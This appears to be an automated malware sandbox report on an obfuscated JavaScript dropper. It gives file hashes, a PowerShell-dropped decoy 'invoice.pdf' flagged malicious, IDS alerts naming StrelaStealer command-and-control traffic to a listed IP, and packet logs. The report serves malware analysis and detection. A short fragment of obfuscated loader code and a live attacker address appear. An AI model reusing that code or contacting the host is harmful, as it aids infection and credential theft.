SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ca8c3fa0-f26e-4b7e-b2a5-0cdf8734ec36.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18536), with CRLF line terminators
Entropy (8bit):	4.909416067507617
TrID:
File name:	5197307041739714413.js
File size:	22'053 bytes
MD5:	7fd4ca4698893ba82446f2c5c0059caf
SHA1:	6fc224cc177cfea45ec1897adbf01873d255601a
SHA256:	425c1247bf5714ebaf87c145c012353e42ca40f113ac43fb72068a94145fb8f9
SHA512:	c2e40ff0c8daf12b20bdfeb157e16d614e14be92f4bfd8a023f7a559b57c8a70d3d218d2ec09e1893573923d440832138c71cb5563395b6558949684c8d36c58
SSDEEP:	384:f0zMme7yAgo5D2tspq+hjrPWPWtctQF7vjODijwND7WhEsA3EJFg:f0Ago5D2tShjrPWPWtctQF7vjODijwNV
TLSH:	3BA265C4FB18895A6EF223F477E60976D435024C41E8D0DA9AFE90AC6B9C7D422C1F76
File Content Preview:	function thrwckni(){icoylrjop=[1031,3079,5127,4103,2055,3072];var lsdvuhbjz=this[azfamfkv+qnpdeh+bpuyaflzh+speqo+xzziz+eytuyxbna+kvtjhrydn+qoxunfjq](this[znzxrayg+yndljuc+nladsl+bpuyaflzh+iwmyaghes+azfamfkv+qoxunfjq][wluwxusc+bpuyaflzh+xzziz+qnpdeh+qoxunf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T00:06:29.428990+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T00:06:29.428990+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-11T00:06:31.892862+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:06:28.614412069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:28.619389057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:28.619493008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:28.623374939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:28.628181934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.428915977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.428936005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.428947926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.428961039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.428989887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.429020882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.429102898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.429148912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.429162025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.429182053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.429188013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.429197073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.429209948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.429235935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.429264069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.474853039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.474869013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.474879980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.474946022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.517961025 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.558073044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558089018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558233976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558248043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558259010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558271885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558295965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.558320045 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.558875084 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558886051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558897972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558909893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558923006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.558939934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.558959007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.559750080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.559762955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.559773922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.559783936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.559796095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.559813023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.559849977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.560369968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.560530901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.560543060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.560553074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.560589075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.560615063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.565329075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.603081942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.603106022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.603173971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.603177071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.603188038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.603200912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.603353977 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.603354931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.648783922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.648797035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.648865938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.686722040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.686739922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.686752081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.686844110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.686872005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.686886072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687012911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.687235117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687248945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687258959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687271118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687279940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.687287092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687298059 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.687338114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.687839985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687890053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687902927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687912941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687925100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687927008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.687939882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.687951088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.687979937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.688832045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.688843966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.688854933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.688865900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.688878059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.688888073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.688889027 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.688906908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.688930035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.689625978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.689640045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.689651966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.689662933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.689676046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.689690113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.689708948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.689726114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.689743996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.690526009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.690538883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.690550089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.690560102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.690573931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.690582991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.690598965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.690624952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.690665960 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.691438913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.691452026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.691488981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.695373058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.695538998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.695549011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.695560932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.695593119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.695612907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.732616901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.732630968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.732640982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.732764006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.732814074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.732826948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.732829094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.732841015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.732847929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.732870102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.776356936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.776376009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.776386976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.776393890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.776401043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.776638985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.814316034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814330101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814341068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814378977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814398050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814441919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.814466953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814479113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814490080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814501047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.814502001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814511061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.814522982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814538002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.814542055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.814568996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.815184116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815193892 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815228939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.815298080 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815310955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815330982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815345049 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.815373898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.815531969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815633059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815649986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815661907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815675974 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.815680981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815695047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815705061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.815706015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815721989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815733910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815738916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.815742970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.815805912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.816468954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816550016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816560984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816571951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816585064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816598892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.816603899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816616058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816627026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816629887 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.816639900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816643953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.816653967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.816673994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.816705942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.817468882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817480087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817491055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817512035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817516088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.817526102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817538023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817552090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817555904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.817570925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817578077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.817585945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817600965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.817625999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.817651987 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.818443060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818454027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818466902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818500996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.818527937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818538904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818550110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818561077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818574905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.818576097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818589926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818594933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.818605900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.818627119 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.818655014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.819432020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819443941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819454908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819475889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819487095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819493055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819499016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819505930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819510937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.819514036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.819587946 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.823117018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823127031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823164940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 00:06:29.823230982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 00:06:29.823244095 CET	80	49704	193.143.1.205	192.168.2.8
